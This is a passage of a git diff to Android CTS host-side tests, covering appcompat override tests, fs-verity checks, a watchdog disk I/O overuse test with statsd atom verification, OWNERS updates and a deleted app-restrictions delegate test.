assertThat(ctsChange.hasOverrides).isFalse();
}
+ public void testPutPackageOverridesWhenChangeIdUnknown() throws Exception {
+ installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
+
+ runDeviceCompatTest(TEST_PKG, ".CompatChangesTest",
+ "putPackageOverrides_doesNothingIfChangeIsUnknown",
+ /*enabledChanges*/ImmutableSet.of(),
+ /*disabledChanges*/ ImmutableSet.of());
+
+ Change ctsChange = getOnDeviceChangeIdConfig(UNKNOWN_CHANGEID);
+ assertWithMessage("Unknown change %s is found on device", UNKNOWN_CHANGEID)
+ .that(ctsChange).isNull();
+ }
+
public void testPutPackageOverridesForAllVersions() throws Exception {
installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
@@ -203,6 +216,19 @@
assertThat(ctsChange.hasOverrides).isFalse();
}
+ public void testRemovePackageOverridesWhenChangeIdUnknown() throws Exception {
+ installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
+
+ runDeviceCompatTest(TEST_PKG, ".CompatChangesTest",
+ "removePackageOverrides_doesNothingIfChangeIsUnknown",
+ /*enabledChanges*/ImmutableSet.of(),
+ /*disabledChanges*/ ImmutableSet.of());
+
+ Change ctsChange = getOnDeviceChangeIdConfig(UNKNOWN_CHANGEID);
+ assertWithMessage("Unknown change %s is found on device", UNKNOWN_CHANGEID)
+ .that(ctsChange).isNull();
+ }
+
public void testRemovePackageOverridesWhenOverridePresent() throws Exception {
installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
index 7fd3df9..7b8f736 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
@@ -70,6 +70,7 @@
"IGNORE_FULL_BACKUP_CONTENT_IN_D2D",
"NEVER_SANDBOX_DISPLAY_APIS",
"OVERRIDE_MIN_ASPECT_RATIO",
+ "OVERRIDE_MIN_ASPECT_RATIO_PORTRAIT_ONLY",
"OVERRIDE_MIN_ASPECT_RATIO_LARGE",
"OVERRIDE_MIN_ASPECT_RATIO_MEDIUM"
);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
index 3524357..620c9eb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
@@ -19,6 +19,9 @@
import static org.junit.Assert.fail;
import static org.junit.Assume.assumeTrue;
+import static com.android.compatibility.common.util.PropertyUtil.getFirstApiLevel;
+import static com.android.compatibility.common.util.PropertyUtil.getVendorApiLevel;
+
import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.util.CddTest;
@@ -435,7 +438,9 @@
private void assumeSecurityModelCompat() throws DeviceNotAvailableException {
// This feature name check only applies to devices that first shipped with
// SC or later.
- if (mLaunchApiLevel >= 31) {
+ final int firstApiLevel =
+ Math.min(getFirstApiLevel(getDevice()), getVendorApiLevel(getDevice()));
+ if (firstApiLevel >= 31) {
assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 0abb593..e513aa7 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -18,6 +18,9 @@
import static android.appsecurity.cts.Utils.waitForBootCompleted;
+import static com.android.compatibility.common.util.PropertyUtil.getFirstApiLevel;
+import static com.android.compatibility.common.util.PropertyUtil.getVendorApiLevel;
+
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeFalse;
@@ -25,7 +28,6 @@
import android.platform.test.annotations.RequiresDevice;
-import com.android.compatibility.common.util.PropertyUtil;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -205,7 +207,9 @@
getDevice().hasFeature(FEATURE_SECURE_LOCK_SCREEN));
// This feature name check only applies to devices that first shipped with
// SC or later.
- if (PropertyUtil.getFirstApiLevel(getDevice()) >= 31) {
+ final int firstApiLevel =
+ Math.min(getFirstApiLevel(getDevice()), getVendorApiLevel(getDevice()));
+ if (firstApiLevel >= 31) {
assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
index f08f964..9d9ac19 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
@@ -31,6 +31,7 @@
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import static org.junit.Assume.assumeTrue;
import java.util.Map;
@@ -187,6 +188,7 @@
@Test
public void testFullDisk() throws Exception {
+ assumeTrue(!isWatch());
// Clear all other cached and external storage data to give ourselves a
// clean slate to test against
getDevice().executeShellCommand("pm trim-caches 4096G");
@@ -261,4 +263,12 @@
}
}
}
+
+ private boolean isWatch() {
+ try {
+ return getDevice().hasFeature("feature:android.hardware.type.watch");
+ } catch (DeviceNotAvailableException e) {
+ return false;
+ }
+ }
}
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/jni/android_appsecurity_cts_apkveritytestapp_InstalledFilesCheck.cpp b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/jni/android_appsecurity_cts_apkveritytestapp_InstalledFilesCheck.cpp
index abc04d9..89b832d 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/jni/android_appsecurity_cts_apkveritytestapp_InstalledFilesCheck.cpp
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/jni/android_appsecurity_cts_apkveritytestapp_InstalledFilesCheck.cpp
@@ -24,6 +24,8 @@
#include <errno.h>
#include <fcntl.h>
+#include <linux/fs.h>
+#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
@@ -35,17 +37,33 @@
JNIEnv *env, jobject /*thiz*/, jstring filePath) {
ScopedUtfChars path(env, filePath);
+ // Call statx and check STATX_ATTR_VERITY.
struct statx out = {};
if (statx(AT_FDCWD, path.c_str(), 0 /* flags */, STATX_ALL, &out) != 0) {
ALOGE("statx failed at %s", path.c_str());
return JNI_FALSE;
}
- // Sanity check.
- if ((out.stx_attributes_mask & STATX_ATTR_VERITY) == 0) {
- ALOGE("STATX_ATTR_VERITY not supported by kernel");
+ if (out.stx_attributes_mask & STATX_ATTR_VERITY) {
+ return (out.stx_attributes & STATX_ATTR_VERITY) != 0 ? JNI_TRUE : JNI_FALSE;
+ }
+
+ // STATX_ATTR_VERITY is not supported by kernel for the file path.
+ // In this case, call ioctl(FS_IOC_GETFLAGS) and check FS_VERITY_FL.
+ int fd = open(path.c_str(), O_RDONLY | O_CLOEXEC);
+ if (fd < 0) {
+ ALOGE("failed to open %s", path.c_str());
return JNI_FALSE;
}
- return (out.stx_attributes & STATX_ATTR_VERITY) != 0 ? JNI_TRUE : JNI_FALSE;
+ unsigned int flags;
+ int ret = ioctl(fd, FS_IOC_GETFLAGS, &flags);
+ close(fd);
+
+ if (ret < 0) {
+ ALOGE("ioctl(FS_IOC_GETFLAGS) failed at %s", path.c_str());
+ return JNI_FALSE;
+ }
+
+ return (flags & FS_VERITY_FL) != 0 ? JNI_TRUE : JNI_FALSE;
}
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index 0d6bcc1..204ba50 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -162,7 +162,7 @@
UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true));
String storageString = "internal storage";
try {
- uiScrollable.scrollTextIntoView(storageString);
+ uiScrollable.scrollIntoView(new UiSelector().textContains(storageString));
} catch (UiObjectNotFoundException e) {
// Scrolling can fail if the UI is not scrollable
}
diff --git a/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
index 86a667b..7057462 100644
--- a/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
+++ b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
@@ -171,7 +171,11 @@
@Override
public void dump(String prefix, FileDescriptor fd, PrintWriter writer, String[] args) {
+ if (mDumpMessage.isEmpty()) {
+ return;
+ }
writer.printf("%s: %s\n", TAG, mDumpMessage);
+ Log.i(TAG, "Dumping message: '" + mDumpMessage + "'");
}
@Override
@@ -179,7 +183,11 @@
if (mCar != null) {
mCar.disconnect();
}
-
+ if (mTestDir.delete()) {
+ Log.i(TAG, "Deleted directory '" + mTestDir.getAbsolutePath() + "' successfully");
+ } else {
+ Log.e(TAG, "Failed to delete directory '" + mTestDir.getAbsolutePath() + "'");
+ }
super.onDestroy();
}
@@ -215,8 +223,18 @@
}
private boolean writeToDisk(long bytes) {
- long writtenBytes;
File uniqueFile = new File(mTestDir, Long.toString(System.nanoTime()));
+ boolean result = writeToFile(uniqueFile, bytes);
+ if (uniqueFile.delete()) {
+ Log.i(TAG, "Deleted file: " + uniqueFile.getAbsolutePath());
+ } else {
+ Log.e(TAG, "Failed to delete file: " + uniqueFile.getAbsolutePath());
+ }
+ return result;
+ }
+
+ private boolean writeToFile(File uniqueFile, long bytes) {
+ long writtenBytes = 0;
try (FileOutputStream fos = new FileOutputStream(uniqueFile)) {
Log.d(TAG, "Attempting to write " + bytes + " bytes");
writtenBytes = writeToFos(fos, bytes);
@@ -232,37 +250,46 @@
Thread.sleep(DISK_DELAY_MS);
return true;
} catch (IOException | InterruptedException e) {
- String reason = e instanceof IOException ? "I/O exception" : "Thread interrupted";
- setDumpMessage("ERROR: " + reason
- + " after successfully writing to disk.\n\n" + e.getMessage());
+ String message;
+ if (e instanceof IOException) {
+ message = "I/O exception";
+ } else {
+ message = "Thread interrupted";
+ Thread.currentThread().interrupt();
+ }
+ if (writtenBytes > 0) {
+ message += " after successfully writing to disk.";
+ }
+ Log.e(TAG, message, e);
+ setDumpMessage("ERROR: " + message);
return false;
}
}
- private long writeToFos(FileOutputStream fos, long maxSize) {
- long writtenSize = 0;
- while (maxSize != 0) {
- int writeSize =
+ private long writeToFos(FileOutputStream fos, long remainingBytes) {
+ long totalBytesWritten = 0;
+ while (remainingBytes != 0) {
+ int writeBytes =
(int) Math.min(Integer.MAX_VALUE,
- Math.min(Runtime.getRuntime().freeMemory(), maxSize));
+ Math.min(Runtime.getRuntime().freeMemory(), remainingBytes));
try {
- fos.write(new byte[writeSize]);
- } catch (InterruptedIOException e) {
- Log.d(TAG, "Exception while writing to file", e);
+ fos.write(new byte[writeBytes]);
+ } catch (InterruptedIOException e) {
Thread.currentThread().interrupt();
- return writtenSize;
+ continue;
} catch (IOException e) {
- Log.d(TAG, "Exception while writing to file", e);
- return writtenSize;
+ Log.e(TAG, "I/O exception while writing " + writeBytes + " to disk", e);
+ return totalBytesWritten;
}
- writtenSize += writeSize;
- maxSize -= writeSize;
- if (writeSize > 0) {
- Log.d(TAG, "writeSize:" + writeSize);
+ totalBytesWritten += writeBytes;
+ remainingBytes -= writeBytes;
+ if (writeBytes > 0 && remainingBytes > 0) {
+ Log.i(TAG, "Total bytes written: " + totalBytesWritten + "/"
+ + (totalBytesWritten + remainingBytes));
}
}
Log.d(TAG, "Write completed.");
- return writtenSize;
+ return totalBytesWritten;
}
private long fetchRemainingBytes(long minWrittenBytes) {
diff --git a/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
index 82b29c2..f66b391 100644
--- a/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
+++ b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
@@ -18,7 +18,17 @@
import static com.google.common.truth.Truth.assertWithMessage;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
import com.android.compatibility.common.util.PollingCheck;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.CarWatchdogIoOveruseStats;
+import com.android.os.AtomsProto.CarWatchdogIoOveruseStatsReported;
+import com.android.os.AtomsProto.CarWatchdogKillStatsReported;
+import com.android.os.StatsLog.EventMetricData;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.After;
@@ -26,6 +36,7 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.List;
import java.util.Objects;
import java.util.concurrent.atomic.AtomicReference;
import java.util.regex.Matcher;
@@ -42,7 +53,7 @@
* CarWatchdog app shared user id.
*/
protected static final String WATCHDOG_APP_SHARED_USER_ID =
- "android.car.cts.uid.watchdog.sharedapp";
+ "shared:android.car.cts.uid.watchdog.sharedapp";
/**
* The class name of the main activity in the APK.
@@ -82,22 +93,43 @@
private static final String SET_IO_OVERUSE_FOREGROUNG_BYTES_CMD =
"cmd car_service watchdog-io-set-3p-foreground-bytes";
+ private static final String DEFINE_ENABLE_DISPLAY_POWER_POLICY_CMD =
+ "cmd car_service define-power-policy cts_car_watchdog_enable_display "
+ + "--enable DISPLAY";
+
+ private static final String DEFINE_DISABLE_DISPLAY_POWER_POLICY_CMD =
+ "cmd car_service define-power-policy cts_car_watchdog_disable_display "
+ + "--disable DISPLAY";
+
+ private static final String APPLY_ENABLE_DISPLAY_POWER_POLICY_CMD =
+ "cmd car_service apply-power-policy cts_car_watchdog_enable_display";
+
+ private static final String APPLY_DISABLE_DISPLAY_POWER_POLICY_CMD =
+ "cmd car_service apply-power-policy cts_car_watchdog_disable_display";
+
+ private static final long FIFTY_MEGABYTES = 1024 * 1024 * 50;
private static final long TWO_HUNDRED_MEGABYTES = 1024 * 1024 * 200;
+ private static final int RECURRING_OVERUSE_COUNT = 3;
+
private static final Pattern DUMP_PATTERN = Pattern.compile(
"CarWatchdogTestActivity:\\s(.+)");
private static final Pattern FOREGROUND_BYTES_PATTERN = Pattern.compile(
"foregroundModeBytes = (\\d+)");
- private static final long POLL_TIMEOUT_MS = 15_000;
+ private static final long WATCHDOG_ACTION_TIMEOUT_MS = 15_000;
private long mOriginalForegroundBytes;
@Before
public void setUp() throws Exception {
- String foregroundBytesDump = executeCommand(GET_IO_OVERUSE_FOREGROUNG_BYTES_CMD);
- mOriginalForegroundBytes = parseForegroundBytesFromMessage(foregroundBytesDump);
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice());
+ executeCommand(DEFINE_ENABLE_DISPLAY_POWER_POLICY_CMD);
+ executeCommand(DEFINE_DISABLE_DISPLAY_POWER_POLICY_CMD);
+ mOriginalForegroundBytes = parseForegroundBytesFromMessage(executeCommand(
+ GET_IO_OVERUSE_FOREGROUNG_BYTES_CMD));
executeCommand("%s %d", SET_IO_OVERUSE_FOREGROUNG_BYTES_CMD, TWO_HUNDRED_MEGABYTES);
executeCommand("logcat -c");
executeCommand(START_CUSTOM_PERF_COLLECTION_CMD);
@@ -106,48 +138,145 @@
@After
public void tearDown() throws Exception {
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice());
+ executeCommand(APPLY_ENABLE_DISPLAY_POWER_POLICY_CMD);
+ // Enable the CTS packages by running the reset resource overuse command.
+ executeCommand(RESET_RESOURCE_OVERUSE_CMD);
executeCommand(STOP_CUSTOM_PERF_COLLECTION_CMD);
executeCommand("%s %d", SET_IO_OVERUSE_FOREGROUNG_BYTES_CMD, mOriginalForegroundBytes);
}
@Test
- public void testCarWatchdog() throws Exception {
- startMainActivity(APP_PKG);
+ public void testIoOveruseKillAfterDisplayTurnOff() throws Exception {
+ uploadStatsdConfig(APP_PKG);
- long remainingBytes = readForegroundBytesFromActivityDump(APP_PKG);
- sendBytesToKillApp(remainingBytes, APP_PKG);
+ for (int i = 0; i < RECURRING_OVERUSE_COUNT; ++i) {
+ overuseDiskIo(APP_PKG);
+ verifyAtomIoOveruseStatsReported(APP_PKG, /* overuseTimes= */ i + 1);
+ ReportUtils.clearReports(getDevice());
+ }
- remainingBytes = readForegroundBytesFromActivityDump(APP_PKG);
- assertWithMessage("Application exceeded I/O overuse threshold")
- .that(remainingBytes).isEqualTo(0);
+ executeCommand(APPLY_DISABLE_DISPLAY_POWER_POLICY_CMD);
verifyTestAppKilled(APP_PKG);
+ verifyAtomKillStatsReported(APP_PKG);
}
@Test
- public void testCarWatchdogWithShareUserId() throws Exception {
- startMainActivity(WATCHDOG_APP_PKG);
+ public void testIoOveruseKillAfterDisplayTurnOffWithSharedUserIdApp() throws Exception {
+ uploadStatsdConfig(WATCHDOG_APP_PKG);
- long remainingBytes = readForegroundBytesFromActivityDump(WATCHDOG_APP_PKG);
- sendBytesToKillApp(remainingBytes, WATCHDOG_APP_PKG);
+ for (int i = 0; i < RECURRING_OVERUSE_COUNT; ++i) {
+ overuseDiskIo(WATCHDOG_APP_PKG);
+ verifyAtomIoOveruseStatsReported(WATCHDOG_APP_PKG, /* overuseTimes= */ i + 1);
+ ReportUtils.clearReports(getDevice());
+ }
- remainingBytes = readForegroundBytesFromActivityDump(WATCHDOG_APP_PKG);
- assertWithMessage("Application exceeded I/O overuse threshold")
- .that(remainingBytes).isEqualTo(0);
+ executeCommand(APPLY_DISABLE_DISPLAY_POWER_POLICY_CMD);
verifyTestAppKilled(WATCHDOG_APP_PKG);
+ verifyAtomKillStatsReported(WATCHDOG_APP_PKG);
+ }
+
+ private void uploadStatsdConfig(String packageName) throws Exception {
+ StatsdConfig.Builder config = ConfigUtils.createConfigBuilder("AID_SYSTEM");
+ ConfigUtils.addEventMetricForUidAtom(config,
+ Atom.CAR_WATCHDOG_IO_OVERUSE_STATS_REPORTED_FIELD_NUMBER,
+ /* uidInAttributionChain= */ false, packageName);
+ ConfigUtils.addEventMetricForUidAtom(config,
+ Atom.CAR_WATCHDOG_KILL_STATS_REPORTED_FIELD_NUMBER,
+ /* uidInAttributionChain= */ false, packageName);
+ ConfigUtils.uploadConfig(getDevice(), config);
+ }
+
+ private void verifyAtomIoOveruseStatsReported(String packageName, int overuseTimes)
+ throws Exception {
+ List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+ assertWithMessage("Reported I/O overuse event metrics data").that(data).hasSize(1);
+
+ CarWatchdogIoOveruseStatsReported atom =
+ data.get(0).getAtom().getCarWatchdogIoOveruseStatsReported();
+
+ int appUid = DeviceUtils.getAppUid(getDevice(), packageName);
+ assertWithMessage("UID in atom from " + overuseTimes + " overuse").that(atom.getUid())
+ .isEqualTo(appUid);
+ assertWithMessage("Atom has I/O overuse stats from " + overuseTimes + " overuse")
+ .that(atom.hasIoOveruseStats()).isTrue();
+ verifyAtomIoOveruseStats(atom.getIoOveruseStats(), overuseTimes * TWO_HUNDRED_MEGABYTES,
+ "I/O overuse stats atom from " + overuseTimes + " overuse");
+ }
+
+ private void verifyAtomKillStatsReported(String packageName)
+ throws Exception {
+ List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+ assertWithMessage("Reported kill event metrics data").that(data).hasSize(1);
+
+ CarWatchdogKillStatsReported atom =
+ data.get(0).getAtom().getCarWatchdogKillStatsReported();
+
+ int appUid = DeviceUtils.getAppUid(getDevice(), packageName);
+ assertWithMessage("UID in kill stats").that(atom.getUid()).isEqualTo(appUid);
+ assertWithMessage("Kill reason from kill stats").that(atom.getKillReason())
+ .isEqualTo(CarWatchdogKillStatsReported.KillReason.KILLED_ON_IO_OVERUSE);
+ assertWithMessage("System state from kill stats").that(atom.getSystemState())
+ .isEqualTo(CarWatchdogKillStatsReported.SystemState.USER_NO_INTERACTION_MODE);
+ assertWithMessage("Atom has I/O overuse stats from overuse kill")
+ .that(atom.hasIoOveruseStats()).isTrue();
+ verifyAtomIoOveruseStats(atom.getIoOveruseStats(),
+ RECURRING_OVERUSE_COUNT * TWO_HUNDRED_MEGABYTES,
+ "I/O overuse stats atom from overuse kill");
+ }
+
+ private void verifyAtomIoOveruseStats(CarWatchdogIoOveruseStats ioOveruseStats,
+ long foregroundWrittenBytes, String statsType) {
+ assertWithMessage(statsType + " has period").that(ioOveruseStats.hasPeriod()).isTrue();
+ assertWithMessage("Period in " + statsType).that(ioOveruseStats.getPeriod())
+ .isEqualTo(CarWatchdogIoOveruseStats.Period.DAILY);
+ assertWithMessage(statsType + " has threshold").that(ioOveruseStats.hasThreshold())
+ .isTrue();
+ assertWithMessage("Foreground threshold bytes in " + statsType)
+ .that(ioOveruseStats.getThreshold().getForegroundBytes())
+ .isEqualTo(TWO_HUNDRED_MEGABYTES);
+ assertWithMessage(statsType + " has written bytes").that(ioOveruseStats.hasWrittenBytes())
+ .isTrue();
+ // Watchdog daemon's polling/syncing interval and the disk I/O writes performed by the
+ // device side app are asynchronous. So, the actual number of bytes written by the app might
+ // be greater than the expected written bytes. Thus verify that the reported written bytes
+ // are in the range of 50MiB.
+ assertWithMessage("Foreground written bytes in " + statsType)
+ .that(ioOveruseStats.getWrittenBytes().getForegroundBytes())
+ .isAtLeast(foregroundWrittenBytes);
+ assertWithMessage("Foreground written bytes in " + statsType)
+ .that(ioOveruseStats.getWrittenBytes().getForegroundBytes())
+ .isAtMost(foregroundWrittenBytes + FIFTY_MEGABYTES);
+ }
+
+ private void overuseDiskIo(String packageName) throws Exception {
+ startMainActivity(packageName);
+
+ long remainingBytes = readForegroundBytesFromActivityDump(packageName);
+
+ sendBytesToKillApp(remainingBytes, packageName);
+
+ remainingBytes = readForegroundBytesFromActivityDump(packageName);
+
+ assertWithMessage("Application " + packageName + "'s remaining write bytes")
+ .that(remainingBytes).isEqualTo(0);
}
private long readForegroundBytesFromActivityDump(String packageName) throws Exception {
AtomicReference<String> notification = new AtomicReference<>();
- PollingCheck.check("Unable to receive notification", POLL_TIMEOUT_MS, () -> {
- String dump = fetchActivityDumpsys(packageName);
- if (dump.startsWith("INFO") && dump.contains("--Notification--")) {
- notification.set(dump);
- return true;
- }
- return false;
- });
+ PollingCheck.check("No notification received in the activity dump",
+ WATCHDOG_ACTION_TIMEOUT_MS,
+ () -> {
+ String dump = fetchActivityDumpsys(packageName);
+ if (dump.startsWith("INFO") && dump.contains("--Notification--")) {
+ notification.set(dump);
+ return true;
+ }
+ return false;
+ });
return parseForegroundBytesFromMessage(notification.get());
}
@@ -161,11 +290,13 @@
}
private void verifyTestAppKilled(String packageName) throws Exception {
- PollingCheck.check("Unable to kill application", POLL_TIMEOUT_MS, () -> {
- // Check activity dump for errors. Throws exception on error.
- fetchActivityDumpsys(packageName);
- return !isPackageRunning(packageName);
- });
+ PollingCheck.check("Failed to kill " + packageName + " application",
+ WATCHDOG_ACTION_TIMEOUT_MS,
+ () -> {
+ // Check activity dump for errors. Throws exception on error.
+ fetchActivityDumpsys(packageName);
+ return !isPackageRunning(packageName);
+ });
}
private String fetchActivityDumpsys(String packageName) throws Exception {
@@ -188,8 +319,8 @@
executeCommand("am start -W -a android.intent.action.MAIN -n %s/%s", packageName,
ACTIVITY_CLASS);
- assertWithMessage("%s is running", packageName)
- .that(isPackageRunning(packageName)).isTrue();
+ assertWithMessage("Is %s running?", packageName).that(isPackageRunning(packageName))
+ .isTrue();
}
private void sendBytesToKillApp(long remainingBytes, String appPkg) throws Exception {
diff --git a/hostsidetests/devicepolicy/OWNERS b/hostsidetests/devicepolicy/OWNERS
index b37176e..19b6194 100644
--- a/hostsidetests/devicepolicy/OWNERS
+++ b/hostsidetests/devicepolicy/OWNERS
@@ -1,7 +1,2 @@
# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-alexkershaw@google.com
-eranm@google.com
-rubinxu@google.com
-sandness@google.com
-pgrafov@google.com
-scottjonathan@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
index 9647f11..ad51a93 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
@@ -1,4 +1,3 @@
# Bug component: 168445
-alexkershaw@google.com
-kholoudm@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
pbdr@google.com
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
index 004ce9a..572b40b 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
@@ -24,12 +24,6 @@
<application android:usesCleartextTraffic="true">
<uses-library android:name="android.test.runner"/>
- <activity android:name="com.android.cts.delegate.DelegatedScopesReceiverActivity"
- android:exported="true">
- </activity>
- <service android:name="com.android.cts.delegate.DelegatedScopesReceiverService"
- android:exported="true">
- </service>
<receiver android:name=".DelegateTestUtils$DelegatedLogsReceiver"
android:permission="android.permission.BIND_DEVICE_ADMIN"
android:exported="true">
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
deleted file mode 100644
index 9c73feb..0000000
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
+++ /dev/null
@@ -1,170 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.delegate;
-
-import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
-
-import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.Process;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.List;
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Test that an app given the {@link DevicePolicyManager#DELEGATION_APP_RESTRICTIONS} scope via
- * {@link DevicePolicyManager#setDelegatedScopes} can manage app restrictions.
- */
-public class AppRestrictionsDelegateTest extends BaseJUnit3TestCase {
-
- private static final String TAG = AppRestrictionsDelegateTest.class.getSimpleName();
-
- private static final String APP_RESTRICTIONS_TARGET_PKG =
- "com.android.cts.apprestrictions.targetapp";
- private static final String APP_RESTRICTIONS_ACTIVITY_NAME =
- APP_RESTRICTIONS_TARGET_PKG + ".ApplicationRestrictionsActivity";
- private static final String ACTION_RESTRICTIONS_VALUE =
- "com.android.cts.apprestrictions.targetapp.RESTRICTIONS_VALUE";
-
- private static final Bundle BUNDLE_0 = createBundle0();
- private static final Bundle BUNDLE_1 = createBundle1();
-
- private static final long TIMEOUT_SECONDS = 10;
-
- private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- String action = intent.getAction();
- Log.d(TAG, "onReceive(): intent " + action + " on uid " + Process.myUid());
- if (ACTION_RESTRICTIONS_VALUE.equals(action)) {
- mReceivedRestrictions = intent.getBundleExtra("value");
- mOnRestrictionsSemaphore.release();
- }
- }
- };
-
- private final Semaphore mOnRestrictionsSemaphore = new Semaphore(0);
- private Bundle mReceivedRestrictions;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mContext.registerReceiver(mReceiver, new IntentFilter(ACTION_RESTRICTIONS_VALUE));
- }
-
- @Override
- protected void tearDown() throws Exception {
- mContext.unregisterReceiver(mReceiver);
- super.tearDown();
- }
-
- public void testCannotAccessApis() {
- assertFalse("DelegateApp should not be an app restrictions delegate",
- amIAppRestrictionsDelegate());
-
- assertExpectException(SecurityException.class,
- "Calling identity is not authorized", () -> {
- mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, null);
- });
-
- assertExpectException(SecurityException.class,
